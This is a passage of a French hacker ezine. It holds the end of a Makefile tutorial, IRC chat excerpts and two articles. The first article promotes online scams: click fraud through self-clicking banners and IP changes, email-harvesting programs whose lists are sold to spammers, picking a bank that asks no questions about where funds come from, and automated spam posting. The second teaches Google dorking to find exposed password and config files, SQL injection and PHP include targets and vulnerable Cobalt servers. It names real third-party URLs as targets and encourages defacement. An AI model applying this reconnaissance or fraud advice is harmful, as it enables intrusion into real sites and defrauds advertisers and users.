/usr/bin/cc |#| 9: bash$ls -dl /usr/bin/cc |#| 10: lrwxrwxrwx 1 root root 3 Dec 15 2002 /usr/bin/cc -> gcc |#| 11: bash$ Voici les étapes de ce test : 1. Vous créez un répertoire dans lequel travailler ( ligne 1 ) 2. Vous passez dans ce répertoire ( ligne 2 ) 3. Vous recopiez votre programme hello.c dans le répertoire en cours (ligne 3). Remarquez que le répertoire source de hello.c peut être différent dans votre cas. 4. Vous créez un Makefile vide dans lequel make pourrat travailler ( ligne 4 ). 5. Vous invoquez make avec le Makefile vide dans le répertoire en cours (ligne 5) Indiquez explicitement le nom de cible hello.o à make, car le Makefile ne contient aucune cible définie. 6. La commande make s'exécute, montrant que sa règle interne déduit que hello.c doit être compilé par un compilateur C pour produire hello.o ( ligne 6 ). 7. Vous demandez au shell d'où provient cc ( ligne 7 ). Le shell indique le nom du chemin à la ligne 8. 8. Vous invoquez la commande ls avec le paramètre -dl ( ligne 9 ) et découvrez que la commande cc est un lien symbolique vers la commande gcc ( ligne 10 ). Indépendamment du fait que la règle ne fournit pas les paramètres -D_GNU_SOURCE et -Wall, tout se passe très bien sans aucune aide de votre part. Ces résultats pouvant être légèrement différents de ceux attendus, vous devez définir explicitement une règle correspondant à vos besoins. >> Définir une règle de déduction Le listing (5.0) présente un fichier make de démonstration contenant une règle de déduction. _= Listing (5.0) Une règle de déduction de make =_ |#| 1: CC = gcc |#| 2: STD = _GNU_SOURCE |#| 3: |#| 4: .c.o: |#| 5: $(CC) -c -Wall $(CFLAGS) -D$(STD) $< -o $@ La ligne 1 montre la façon conventionnelle de choisir votre compilateur dans un fichier make, avec la macro CC. Ici, la macro pointe directement sur le compilateur gcc. La ligne 2 définit la macro STD permettant de sélectionner le standard sous lequel le compiler. La cible de la ligne 4 est d'un type spécial: elle est composée du suffixe du fichier d'origine et de celui du fichier cible. En définissant une cible sous cette forme, vous définissez en réalité une règle de déduction destinée à make. ^ / \ / \ / A \ ttention ------------------------------------------------------------ /_ _ _ _\ / Ne définissez jamais de dépendance pour une règle de déduction. La / commande make ignore les dépendances des règles de déduction. Sur /__ _ certaines plates-formes UNIX, la règle n'est pas interprétée comme une règle de déduction lorsque des dépendances sont indiquées --------------------------------------------------------------------- La ligne 4 définit une règle de déduction indiquant que si vous dispoez d'une cible constituée d'un fichier objet (*.o) et constatez que vous disposez du fichier d'entrée correspondant avec le suffixe .c, vous exécutez les instructions qui suivent. >> Instruction à exécuter La ligne 5 du listing (5.0) représente la seule instruction à exécuter. Une instruction doit commencer par un caractère de tabulation. Les espaces ici sont interdites. Il peut y avoir plusieurs actions, mais une seule est nécessaire. Notez également que si la commande de l'action commence par un caractère "@", make supprime l'affichage de la commande sur la sortie standard. Vous l'avez peut-être remarqué aux lignes 5, 8 et 11 du listing (2.0) ____ || |\ || ||=== | _ | || | \|| ||= ||_| | || | \ | || |____|_ _ _ _ _ _ _ _ _ _ _ _ _ _ __ _ _ ______ _ _ _ _ _ _ _ __ Les lignes d'action d'un fichier make doivent commencer par une tabulation. Certains éditeurs insistent sur l'utilisation des blancs lorsque vous appuyez sur la touche Tab. Vérifiez que le premier caratère est bien le caractère ASCII de tabulation, sinon make ne l'accepte pas comme instruction à exécuter. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - --- -- - - -- -- La ligne 5 du listing (5.0) décrit une instruction de compilation faisant grand usage des macros. La plupart sont aisément compréhensibles. Cela nous laisse deux macros d'aspect bizzare : "$<" et "$@". >>Les macros intégrées La commande make gère au moins six macros intégrées. Celles-ci sont différentes des macros définies par l'utilisateur, car elles n'ont jamais besoin d'être définies. Elles sont gérées en interne par la commande make et leur valeur change en fonction des règles de déduction. Les plus importantes de ces macros sont présentées au Tableau (2.0) Tableau (2.0) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - > Nom de macro < | > Description < - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ] $* | Cette macro fournit l'élément nom de fichier du [ ] | dépendant actuel ( le suffixe étant supprimer [ ] | [ ] $@ | Cette macro fournit le nom complet, avec le [ ] | suffixe de la cible actuelle. [ ] | [ ] $< | Cette macro fournit le nom de fichier dépendant [ ] | complet, avec le suffixe. [ ] | [ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Dans la session étudiée au listning (4.5), la ligne 5 désigne hello.o comme cible, Dans la règle de déduction des lignes 5 et 6 du listing (5.0), les valeurs du Tableau (3.0) ci-dessous devraient être indiquées. Tableau (3.0) - - - - - - - - - - - - - - - - - - - - - - - - > Nom de macro < | > valeur de la macro < - - - - - - - - - - - - - - - - - - - - - - - - ] $* | "hello" [ ] $@ | "hello.o" [ ] $< | "hello.c" [ - - - - - - - - - - - - - - - - - - - - - - - - Souvez-vous que ces macros intégrées ne possèdent de valeur qu'à l'intérieur d'une règle de déduction. La macro $< comporte une petite exception, et au moins deux autre macros intégrées ont d'autres usages. >> La macro CFLAGS La macro CFLAGS est utilisée pour contenir d'autres paramètres du compilateur C. Si elle n'est pas définie dans le fichier make, vous avez la possibilité d'initialiser une variable d'environnement pour la session dec compilation en cours. > Utiliser CFLAGS à partir du shell Une habitude courante consiste à utiliser la macro CFLAGS pour effectuer ( ou non ) une compilation en mode débogage. Notez le déroulement de cette procédure dans cette exemple : |#| bash$ rm hello.o |#| export CFLAGS=-g |#| bash$ make hello.o |#| gcc -c -Wall -g -D_GNU_SOURCE hello.c -o hello.o |#| bash$ Voici la procédure utilisée ici : 1. Vous prenez soin de vous débarrasser du dernier hello.o créé ( sinon, make ne se sentira pas obligé de le recréer ) 2. Vous définissez et exportez la variable d'environnement CFLAGS avec le paramètre de mise au point de gcc -g. 3. A partir de maintenant, lorsque vous compilez, la commande make prend automatiquement la valeur exportée de CFLAGS et l'applique à la ligne de commande ( Remarquez que le paramètre -g apparaît dans la commande gcc ). On peut utiliser la même technique pour recompiler afin d'optimiser au lieu de déboguer. Ce petit truc s'avère particulièrement utile lorsque le Makefile se trouve contrôlé par un RCS ; il n'est pas nécessaire de le modifier. Joyeux noël : ut2k3 : lyr22-rz743-a9d7t-cnnen : ___ ___ .----/ /----------- ---------- --------- - -- - - --- -----------/ / | / / / /| : / / / / : | / / acidmen@mindkind.org / / | |/ / / / | /___/-- ---------- ----- ----------------- - ------- -- --- -/___/----' < Mindkind tales from IRC > [16:55] jpeu tu hypotequer mes futur par de mindkind ? [16:55] hahaha [16:56] le gars fini par écrire un livre [16:56] "J'ai basé ma vie sur un ezine et un channel IRC" [16:56] par Wyzeman de Mindkind [16:56] pendant ce temps ya [16:56] LastCall_ __2 a bien reussi sa vie a cause de iga [16:56] sa job qui a la, il la eu a cause de iga [16:56] "Comment je suis devenu millionaire en patentant le code open source et/ou GPL" [16:56] moi jai eu un hub 3com [16:56] par LastCall_ [16:56] et [16:56] hahaha [16:57] "Comment je suis devenu milionaire en crossant LastCall_ " [16:57] par MindFlayR [16:57] haha [16:57] hahaha [16:57] hahaha < ----------------------- > __ ______ __ __ __ _ ___ __ _ _ _ _\_ _ _ \ / \ / \ \ \ \ _ \ \ .\ | |/ / / / / _ / /.\ \ .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----| < /_/-/_//_/\/__/ \- ------. : \ \ \__/ / / |_|\_\ \ \ : , \/ \/ \ \ | : \ \ . . 11.03 L'extrémité de l'Arc-en-ciel.com \ \ ! . aka \ \ . ; 40 PKP en show dans un trou de terre \ \ : : \ \ : '-- ----- - -------- --- --------- - -- ------------- --- -\ \-' \____ _ _\ Pour plusieurs raisons j'aimerais faire une petite intro à cet article tout d'abord parce que j'ai moi même hésité 2 ans pour l'écrire car on parle ici d'un secret bien gardé et aussi parce que ceux qui le connaisse ne seront pas forcément très heureux que je dévoile tout les petits détails du métier. Bien sur je ne divulguerai pas ma/mes techniques parce que se serait à la fois me priver d'un revenu potentiel mais aussi une porte d'entrée aux abuseurs qui pourrait ruiner cet art. Table des matières : -------------------- 1: Véritable intro 2: Théorique (philosophie/buts/espérances) 3: La banque (Choisir/expériences/retour) 4: Les commanditaires (WTF?/?/!/Retour) 5: Stratégies (Actif-Passif/pi0n/emprunt) 6: Optimisation (Linux) 7: Les déceptions du métier 8: Liens utiles (Commanditaire/TGP) 9: Conclusion. --------------------------------------------------------------------- 1- Véritable introduction Je voulais écrire un article sur un truc technique de la mort du genre comment overclocker un VAX avec du vieux cheeze-weeze mais j'ai du me résigner à écrire premièrement sur quelque chose que je connais plus que tout, c'est-à-dire comment escroquer les autres. Ont peut dire que j'ai une grande expérience de l'enrichissement personnel sur Internet, jai débuté avec xpics, premier sponsor vraiment payant ou on pouvait faire le motton en cliquant sur nos bannières nous même et en déconnectant pour avoir un nouveau IP. Ensuite il y a eu les "Pay to surf" gotoworld et alladvantage qui nous promettaient fortune et gloire si l'ont parvenait à ramasser un max de "referals" comme dans une grosse pyramide pyramidale! (hehe). Ensuite il y eu les script de bannerclick sur eFnet avec lesquels ont arrivait a se générer un beau butin en peu de temps. Cette époque fût suivie d'une légère aventure du coté de la P0rn buisness que jai finalement abandonné par manque de temps. Mais maintenant, qu'est-ce qui me reste ? .. c'est un secret :)). Cet article a pour but de vous enseigner l'art de concevoir vos propres magouilles et de les optimiser légalement et efficacement de façons à pouvoir vous aussi profiter rapidement de plein d'argent mal acquit. Secret?.. oui! Malheureusement je ne suis pas sur le point de mettre fin à mes activités dans ce domaine et comme vous donner mes trucs conduirait à une réduction potentielle de mon revenu je répète encore que vous ne trouverez ici que la méthode permettant de développer soi-même sa stratégie. Si par erreur vous tentez de me poser des questions sur ce sujet, je répondrai par un silence. Soyez content de cet article et n'en demandez pas plus car on parle ici de vrai argent et de connaissances qui sont très utiles monétairement parlant. 2- Théorique - Un peu de philosophie Se lancer dans le monde de l'enrichissement personnel sur Internet est une longue et fastidieuse aventure qui vous amènera à faire plusieurs choix, premièrement sur votre éthique personnelle car quelqu'un qui s'y met vraiment a fond peut récolter de faramineuses sommes et se payer une ferrari mais a quel prix ? Vous avez sûrement déjà émis quelques plaintes à la réception d'un courriel non sollicité. Si vous voyez ce que je veux dire... (j'y reviendrai) Vous aurez aussi plusieurs compromis à effectuer, utiliserez vous une technique totalement légale?, semi-légale?, légale à l'étranger (hide and pray), complètement illégale? ($$$), Vous aurez aussi des compromis à faire du genre le profit vis à vis vos ressources. Plusieurs techniques nécessitent beaucoup de bande passante et d'argent. Ce qui peut s'avérer rentable ne le demeure pas toujours. - Quoi viser? Premièrement vous devez établir votre stratégie, trouver l'idée première, LA stratégie qui vous rapportera de l'argent, il vous faudra ensuite vous trouver quelqu'un qui vous payera, vous devrez aussi faire affaire avec une banque et tenter d'optimiser au maximum votre méthode de façon à atteindre le but ultime... l'effort 0. - $$$$? Je me rend compte que si vous êtes rendu à lire ici c'est que vous êtes particulièrement intéressé, mais au point de finir la lecture? Le cyber -entrepreneur moyen, qui fait sa business sur Internet dans, par exemple le monde de la pornographie reçoit un salaire annuel d'environ 160K USD/ans. On parle ici d'une business à temps plein. Le petit escroc que je suis, avec une stratégie d'effort 0 peaufinée peut facilement récolter ~700$USD par mois (1292.72$CAD). Et ce je vous rappelle en ne faisant aucun effort. 3- Passez GO et recevez l'argent de la banque. - L'importance de choisir Comme vous vous en doutez sûrement la majorité des fonds que vous pouvez espérer récolter est en devises étrangères donc il vous faudra faire affaire avec une banque. Mais laquelle choisir ? celle avec un service rapide ? celle avec un gros transit ? celle qui posera le moins de questions? Parmi les banques du Québec, j'ai fait affaire avec deux des principales, La banque royale et Desjardins. Oui oui je sais que Desjardins est une caisse mais pour la cause nous l'insèreront dans la classe des banques aussi car croyez moi elle a beaucoup plus de points communs que de différences avec les autres banques. - La banque royale - Transit de base : 100$ - Frais aux transactions: 0.25$ (ou illimité 4$/mois) - Gel de fonds : 5 jours ouvrables - Autre : La banque royale dispose de plus de budget que Desjardins et pour cette raison il y a plus d'heures d'ouvertures et moins d'attente. À noter que leurs employés ne posent jamais de questions indiscrètes. - Desjardins - Transit de base : 500$ - Frais aux transactions: 0.25$ (ou forfaitaire) - Gel de fond !! : 20 jours ouvrables - Autre : Desjardins possède le pire service qu'un client peut espérer, de longues filles d'attente, une durée de gel de fond sur les capitaux étrangers trop longues et en plus des employés qui posent des questions indiscrètes sur la provenance de vos fonds. Pour échanger de la monnaie étrangère je vous suggère d'aller à la banque royale, bien que le transit ne soit que de 100$ vous n'aurez qu'a attendre 5 jours ouvrables (soit une semaine) pour encaisser le tout. Petite note sur Desjardins : si vous voulez effectuer un prêt personnel je vous suggère d'aller les voir car ils ont de très bon plans pour les étudiants à comparé à Royale qui voudrons vous vendre une visa. - Return(0); Il existe plusieurs autres banques mais je ne les ai pas toutes expérimentées. De toutes façon ce qu'il est important de se rappeler c'est de ce que vous aurez vraiment besoin, en l'occurrence des services privés rapides et avantageux sur les conditions de réception de l'argent, car vous ne devez pas oublier ceci : contrairement aux chèques habituels si vous déposez un chèque de devise étrangère dans un guichet automatique, vous seriez mieux d'avoir le temps parce que le temps de traitement est presque triplé. 4- Les commanditaires - WTF? Vous voici rendu à l'étape où vous choisissez votre machine à sous. Quelqu'un devra vous payer, mais qui?. Il existe des centaines de commanditaires sur Internet et une très grande majorités feront faillite demain matin pour laisser leur place à d'autres. Il ne faut surtout pas oublier que dans ce métier si le "patron" ne vous paye pas vous ne pouvez pratiquement RIEN CONTRE LUI. Si vous ne choisissez pas un bon commanditaire vous avez toutes les chances du monde de pleurer dans 3 mois quand vous ne recevrez pas votre chèque. -! Mais quoi évaluer pendant son choix ? Premièrement les programmes, la plupart des commanditaires offrent une gamme de programmes du genre Pay-per-click, pay-per-impression pay-per-email, pay-per -signup, pay-per-(ETC...). Presque tout ces programmes contiennent une "attrape". Par exemple un commanditaire peut vous donner 0.25$ du click sur une bannière mais avoir un ratio de conversion. Ce ratio c'est ce qui calcule votre nombre de click versus les inscriptions au site généré par votre lien. Par exemple si vous avez 50$ en click et 2 inscriptions légales vous aurez probablement un ratio de 1:1 ce qui maintiendra votre pay-rate à 0.25$. Mais si vous avez 50$ et 0 inscription votre ratio sera tellement bas que vous ne gagnerez probablement plus que 0.003$ par click voir même vous vous ferez mettre à la cyber-porte. Pay per signup est généralement très payant ~50$ de l'abonnement mais un site qui fonctionne au "signups" est généralement beaucoup trop dur à maintenir pour un étudiant. En effet, un site qui fait son argent avec de vrais abonnements devra avoir du bon matériel toujours renouvelé pour que les clients affluent car ils doivent payer si vous voulez vous enrichir. Le gros programme facile de nos jours (et je vous ment pas) c'est pay per email. Le "client" entre son email pour recevoir des "free pictures" et se ramasse avec 25mo de e-mail de junk a chaque jour. Les compagnies qui offrent ce genre de programme peuvent payer jusqu'a 1$USD par e-mail validé que vous leur donnez. Mais comment font-il pour payer ? Premièrement ils sont payé par les contenu des e-mail de junk qu'ils envoient. Certains "promoteur" achètent des espaces d'affichage dans les e-mail de "free pics". Mais ce n'est pas tout, les compagnies revendent aussi leur listes aux spammers ce qui leur procurent un bon second revenu. De toute façon, cela ne nous intéresse pas vraiment, retenez seulement que c'est le meilleur programme disponible, payant et versatile. - Return(0); Retenez aussi que peu importe le nouveau programme disponible ont peut facilement trouver sa valeur de rentabilité avec une semaine d'essaie. Prenez votre technique éprouvée favorite et soumettez la à votre commanditaire si vos profits baissent trop ou que votre effort à fournir devient trop important, foutez le programme à la poubelle ou optimiser le tout pour que l'effort retourne à 0 (voir optimisation). 5- Axis And Allies (AAA) Alors l'ado, tu es en recherche de 'LA' façon de t'enrichir !? Heh bien j'ai la solution à tes problèmes !!! Ou plutôt, l'explication de la solution a tes problèmes. - Stratégie Active ou Stratégie Passive Bien que vous soyez encore très peu renseigné sur les déférentes stratégies que tout le monde utilise et qui donne un revenu assez moyen, j'aimerais, avant de vous introduire à ces stratégies de base, porter un peu le focus sur la signification de stratégie active et celle de stratégie passive. -Active: Désigne une stratégie où l'entrepreneur doit constamment fournir un effort pour maintenir et garder en vie sa petite entreprise. Cette stratégie donne généralement un plus gros revenu mais demande trop de temps. Je vous conseille fortement de ne jamais vous diriger vers un tel model. -Passive: C'est ce que vous recherchez, le moins d'effort possible pour un revenu optimal. (Voir optimisation) - Le pion ? Maintenant que vous en savez plus sur les commanditaires, vous vous devez de les fournir de "pions" pour qu'à leur tour il vous fournissent de beaux dollars. En fait, c'est ce qu'il y a de plus dur à faire dans ce métier, amener des foules de personnes ~40k (toujours dans l'optique d'une stratégie légale) sur vos sites pour agir de machine à sous. Admettons que vous possédez un site web et que vous voulez y ramener, disons, 30 000 personnes demain matin. Est-ce possible ?.. .. oui! il faut seulement savoir comment s'y prendre. Il est évident que le type de site influe beaucoup :0}. Pour cet exemple nous allons prendre un site web standard contenant une commandite par email et 10 photos d'une 'strip /dev/girl'. Ce genre de site s'appelle un site de "thumbnails" il est généralement utilisé par les propriétaires de site webs pour promouvoir leur propre site. Par exemple le site A produit 40 mini pages de thumbnails et place sur chacune d'eux une bannière qui est directement lié à son propre site. Ce qui redirige a coup sûr les pions sur le site principal. Ces "thumbnails" site sont souvent postés dans des répertoires gratuits où tout les pions peuvent consulter à chaque jour plusieurs sites du genre gratuitement. (voir références à la fin). La question à se poser est la suivante :"Si je ne suis pas un gros site budget, puis-je moi aussi poster?" Oui ! et croyez moi, sa rapport beaucoup de visites. L'idée est simple, vous créer 30 pages différentes et vous en postez une par jour. Les revenus viendront rapidement. C'est d'ailleurs la stratégie la plus simple et elle est très bien connue de tout le monde. Elle à l'avantage de ramener légalement les pions à votre site mais le désavantage de consommer beaucoup de bande passante. Une autre stratégie qui se lie bien avec celle des TGP consiste à échanger des liens "linkexchange" c'est-à-dire que vous allez placer une bannière par exemple sur un site et cette bannière sera liée a un autre site de quelqu'un comme vous. Plus votre site génère de click plus votre site est affiché ailleurs donc vous êtes plus visité et tout le monde est content. Bien sur ces stratégies ne sont pas très optimales et demande trop de temps pour atteindre l'objectif effort 0 sans pour autan empêcher une optimisation adéquate qui vous permettra peut-être, si vous êtes intelligent, un gros 10 minutes de maintenance par jour. Si vous cherchez désespérément une stratégie illégale pensez a copier ceux qui en ont déja une. Par exemple les personnes qui spam "hello im virginia visit my web site" sur irc ont sûrement un bon revenu sinon ils ne le feraient tout simplement pas. -6 Optimisation Linux... le meilleur ami de l'entrepreneur web, véritable robot culinaire automatisé et indépendant. Linux est la clef du succès d'une bonne optimisation de stratégie passive car il permet avec de bonnes connaissances en scripting d'automatiser 100% des fastidieux processus exigés par le métier. Par exemple, quelqu'un d'intelligent pourrait reprendre la bonne vieille technique du TGP (thumbnails) et l'automatiser en entier, ou presque. L'ordinateur prend les photos dans un répertoire, crée des thumbnails, génère le fichier html et upload le tout. Il envoie ensuite une demande de post pour ce même site avec un message random prit dans une mini-db de message du genre "hello, take my daily pics" et il soumet la requête a l'administrateur du site. il vérifie ensuite combien d'argent votre commanditaire vous doit et vous génère un .html qui s'inclut automatiquement dans votre page de démarrage de votre browser favori. Linux peut tout automatiser ce que l'utilisateur peut faire il s'agit seulement se savoir comment lui dire, pour de plus amples informations sur le bash scripting avancé j'ai fourni un lien très complet sur le sujet dans la section "liens utiles". N'oubliez jamais qu'il vaut mieux passer 2 jours à scripter un robot qui fait votre travail que de faire ce même travail à tout les jours. -7 Les déceptions du métier. Malheureusement, ce métier ne comporte pas que des avantages dans ce monde tout les acteurs sont la pour s'enrichir et ils ne sont pas toujours "fair-play". Par exemple il peut vous arriver (et ça m'est arrivé souvent) de générer 200$ par semaine pendant un mois et ne pas me faire payer du tout, c'est un des risques mais il ne faut pas plier. La meilleure façon d'éviter une fâcheuse situation comme sa c'est probablement de commencer par de petits montants. Limitez vos gains à 50$ par semaine et vérifiez si votre commanditaire vous paye. Ensuite augmentez. Si vous utilisez une stratégie plus illégale vous pouvez aussi avoir des problèmes avec la justice. La plupart des commanditaires ne vous poursuivront pas s'il vous attrape à tricher. Il se contenteront d'annuler votre acompte et de bannir votre adresse. Mais si vous utilisez des méthodes dérivés pour vous abreuver de pions, faites bien attention que les gros bonnets ne s'intéresse pas trop à vous. J'ai un ami qui en est à sa huitième mise en demeure par le MPAA et par Microsoft. Si vous êtes prit dans une situation du genre, ne paniquez surtout pas. Remédiez à la situation et continuez vos activités. Soyez seulement prudent de ne pas pousser la "vis" trop loin. -8 Liens utiles : YnotMasters: http://www.ynotmasters.com/ Un site de ressource pour les webmaster de pages payante. C'est un des meilleur endroits sur le web pour vous trouver un commanditaire fiable. Ils ont un système de "ranking" pour les commanditaires. The Hun http://www.thehun.net/ Un TGP visité par plusieurs millions de personnes par jours. Amp Land http://www.ampland.com/ Un autre TGP très connu. Advanced Bash Scripting. http://www.tldp.org/LDP/abs/html/index.html LA référence en bash scripting avancé. vous ne trouverez pas mieux c'est garanti. -9 Conclusion Voila, vous avez maintenant les bases requises à un bon départ dans ce monde lucratif. Bien sur j'aurais pu vous donner des stratégies illégales mais je préfère les garder pour moi. Parce que je ne suis pas vraiment convaincu que les divulguer serait une très bonne idée en regard de mon revenu. Peu importe ce que vous ferez, gardez toujours en tête une optimisation adéquate pour faire le moins d'effort possible. Comme ça vous pourrez passez plus de temps à faire autre chose de plus constructif pour l'humanité comme jouer à Counter-Strike ou convaincre des gens avec des QI de singes sur IRC que vous êtes dieu réincarné. ___ ___ .----/ /----------- ---------- --------- - -- - - --- -----------/ / | / / / /| : / / / / : | / / initnull@mindkind.org / / | |/ / / / | /___/-- ---------- ----- ----------------- - ------- -- --- -/___/----' < Mindkind tales from IRC > [14:43] [14:13] *** [FunkY] has joined #mindkind [14:43] [14:15] *** [FunkY] was kicked by Amsterdam.nl.eu.undernet.org (Net Rider) [14:43] [14:20] *** [FunkY] has joined #mindkind [14:43] [14:22] *** [FunkY] was kicked by Amsterdam.nl.eu.undernet.org (Net Rider) [14:43] [14:28] *** [FunkY] has joined #mindkind [14:43] [14:30] *** [FunkY] was kicked by Amsterdam.nl.eu.undernet.org (Net Rider) [14:43] HAHA [14:43] i se zigne sur l'irc < ----------------------- > __ ______ __ __ __ _ ___ __ _ _ _ _\_ _ _ \ / \ / \ \ \ \ _ \ \ .\ | |/ / / / / _ / /.\ \ .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----| < /_/-/_//_/\/__/ \- ------. : \ \ \__/ / / |_|\_\ \ \ : , \/ \/ \ \ | : \ \ . . 11.04 Time to do some blind hacking \ \ ! . aka \ \ . ; Ripping google cache without limitations \ \ : : \ \ : '-- ----- - -------- --- --------- - -- ------------- --- -\ \-' \____ _ _\ I) :: INTRO ----------- Le blind hacking est une autre de ces méthodes qui vous permettent d'arriver a vos fins sans avoir a connaître tout les moyens. Comme son nom l'indique, il s'agit de hacking "aveugle", donc sans préméditation . On hack ce qui passe entre nos mains question de se pratiquer pendant le long hivers. Le blind hacking se veut être un sport pure, sans aucun arme ou outils d'intrusion, on cherche des chose simples et ont les hacks. On peut aussi bien se retrouver entrain de défacer un wwwboard de planetquake.com ou s'emplir le ventre de warez. Le blind hacking n'est pas une chose qui mérite des applaudissements, d'ailleurs n'importe quel cloporte peut s'y mettre. Maintenant vous n'avez plus de raison de ne pas continuer à lire :) II) :: Webcrawling the net for targets --------------------------------------- www.google.com, vous l'aviez deviner? Pour ceux qui ne connaissent pas google, il s'agit d'un excellent moteur de recherche. Google se veut complet donc il y a un tas d'options (caching de pages offlines, image searcher) que la compétition ne possède pas. Google balaie Internet en permanence à l'aide de robots qui vont se promener d'URL en URL. L'avantage premier de ce système c'est que l'indexation se fait à l'insu de son auteur. A l'aide des bons mots, des mots magiques on peut obtenir des résultats convaincants en très peu de temps, jugez par vous-mêmes: http://www.google.ca/search?q=%22index%20of%20/%22%20winex Les amateurs sauront de quoi je parle, spécialement les utilisateurs Linux. Les recherches sous Google se font donc via un browser web (mozilla, netscape, ie, konqueror). On peut faire du blind hacking a l'école, à la bibliothèque(loosers), chez sa blonde ou encore chez vos chères mamans. Pour faire une recherche, on utilise l'URL de google de la façon suivante: > http://www.google.ca/search?q=Votre query On peut toujours passer par www.google.ca directement. Pratiquez pendant 10 secondes, si vous comprenez pas, sentez-vous gravement insulté. Passons donc aux .... III) :: Mots magiques --------------------- Vous voulez connaître les queries qui ont marquées l'histoire, les queries qui ont fait bouger le monde? Disons qu'il y a certaines séries de mots reliés ensemble sous la forme d'une phrase qui donnent d'excellents résultats. "Index of /" leech ================== Sous Apache et certains autres serveurs web se retrouve une directive de configuration qui permet de créer un index automatique. Si un répertoire ne possède pas d'index.html, le serveur web bouffe 100% du I/O, swap pendant 3 secondes et décide que vous en avez pas et fabrique alors un fichier index temporaire, en voici un exemple: > http://www.co.benton.or.us/sheriff/corrections/ Très intéressant si vous voulez comprendre comment fonctionne un centre correctionnel mais c'est pas vraiment le trip du siècle, tout ce qu'il faut retenir c'est que le site que vous avez vérifier est un site qui n'a pas eu d'index.html (ou index.php,index.asp, defaults.html etc..) présent. Si vous regardez directement www.co.benton.or.us, l'index prend le dessus et on voit le site trop peu esthétique du centre de ... c'est dure à dire. Voici un exemple plus warez-like: >http://www.funet.fi/pub/netinfo/incoming/%20%20%20%20%20%20%20%20%20%20%20%20 %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20 %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20 %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20 %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20tagged%204%20dsn!!!/ Essayer ftp.funet.fi ? Google.com peut aussi servir de PUB's finder. Comme la face d'Internet change très souvent, la variété persiste :), l'astuce c'est de chercher des "index of /" avec des mots comme incoming et tagged. On peut aussi trouver du matériel directement, quoi que cela soit moins simple, des qu'il s'agit de warez, certains modifient l'index de leur site pour contenir "index of /" et vous envoie de la junk. Chercher leech, 0-day et rarement warez ou appz si vous voulez éviter les popups :) > http://www.fh-trier.de/~teepenf/leech/ Un aspect encore plus intéressant que les autres, le hacking, peut être très facilement simplifié par Google.com, en voici une exemple, très ordinaire soit dit en passant: > www.google.ca/search?q="index of /" passwd.txt - http://earlyamerica.com/towncrier/passwd.txt - http://www.ku.edu/~philos/courses/wwwboard3/passwd.txt - http://ntuphoenix.port5.com/discus_admin_1162549908/passwd.txt Hacker des webboards c'est bien mais on veut mieux non? > www.google.ca/search?q="index of /" config.inc.php.bak - http://planetemods.free.fr/include/config.inc.bak Il y a toujours la possibilité de faire du défacing (changer la page d'accueil, peut-être même avoir accès à la machine ou du moins à la bd). On peut par exemple chercher le fichier access_log et error_log pour vérifier au cas ou. Je crois que tout le monde a comprit. Stats / Usages data =================== Il y a beaucoup de proxy web sur Internet, qui logs bien entendu toutes les requêtes, la majorité de ces proxies génèrent un log en HTML et le place dans un répertoire. Exemple? > http://www.google.ca/seach?q="World Wide Web Access Statistics" - http://gladstone.uoregon.edu/monthly-log.html - http://www.soest.hawaii.edu/reports/statistics.html Vous pouvez ajouter des mots a la query pour chercher un terme intéressant (ie:passwd.txt). Remercier wwwstat d'avoir un pattern si répétitif, les logs générer par ce script sont vraiment trop parfaits. Nous avons toute l'information nécessaire. Il y a aussi "FTP Access Statistics" qui peut vous donnez du bon miammiam. Debug/Error messages ==================== Les messages d'erreurs, sont selon moi, un truc très utile, je me sert principalement des messages d'erreurs pour déterminer le OS et information diverse en rapport à une cible. Je recherche principalement 2 sortes de messages d'erreurs, les messages générés par ASP,PHP et SQL. Pratique pour localiser par exemple des cas assujettis au SQL injection. "Microsoft OLE DB Provider for ODBC" est un bon keyword pour trouvez des scripts qui accèdent à des bases de donnée, l'erreur n'est pas si intéressante que ça. Mais même si le script ne fait plus le message d'erreur, il est toujours la passerelle pour l'injection. Tiens, en écrivant ses lignes, jai par hasard attrapé ceci via irc: (Need Help?: http://www.securiteam.com/securityreviews/5DP0N1P76E.html) http://new.spot.be/tiscali/fr/film.asp?Code_film='7957 (SQL injection possibility) Merci init_null ;) Il y a les messages typiques de PHP3, le plus populaire est toujours: "Fatal error: input in flex scanner failed in ". Ce message d'erreur est souvent associé à une fonction include() qui inclue n'importe quel fichier et l'affiche ou le traite. Il y a alors possibilité de faire un tas de trucs, comme cet article se veut court, voici un lien vers un de mes vieux articles sur le sujet: http://ouah.sysdoor.net/art001.txt Vous pouvez aussi chercher pour des patterns d'erreurs PHP typiques contenant des "unable to" et compagnie. CONCLUSION & Hunting tricks =========================== Je crois qu'on pourrait y passer la semaine, alors ceci clôt cet article en espérant que cela vous ai amusez. Voici quelques idées a essayer pour ceux que ça intéresse: - Utiliser http://www.cgisecurity.com/archive/index.shtml pour trouver de nouveaux patterns à vérifier, si par un exemple une nouvelle faille sort, à partir d'un exploit vous pourrez toujours savoir quel fichier chercher, si vous glissez allinurl: devant votre query, google ne cherchera que dans les liens. Donc vous trouverez les fichiers vulnérables. - Exploiter le nouveau bug overflow.cgi pour les RAQ applicances. Chercher des machines de ce type en utilisant un pattern d'erreur 404.En effet, les RAQ affichent une page 404 bien a elles, voici un exemple de page 404: > http://pgs.k12.va.us/tech/wm Dans le source on peut voir la source de l'image suivante: "/.cobalt/images/question_warning" On n'a plus qu'à chercher cela, essayer le Images search de google. Pour l'exploit en question: http://www.securiteam.com/exploits/6S0022A6AA.html - Allez lire la doc sur google.com pour améliorer vos queries de recherche, le adv. search est pas mal aussi pour les URL search/Domain search. - Pour avoir tout les bugs de sécurités répandus de type cgi/database, vous pouvez toujours downloader les fichiers contenant les "rules" de NESSUS. Très facile à parser et à réutiliser. (En fait c'est un langage interprété réutilisable) __2 ___ ___ .----/ /----------- ---------- --------- - -- - - --- -----------/ / | / / / /| : / / / / : | / / mrgibson@golum.net / / | |/ / / / | /___/-- ---------- ----- ----------------- - ------- -- --- -/___/----' 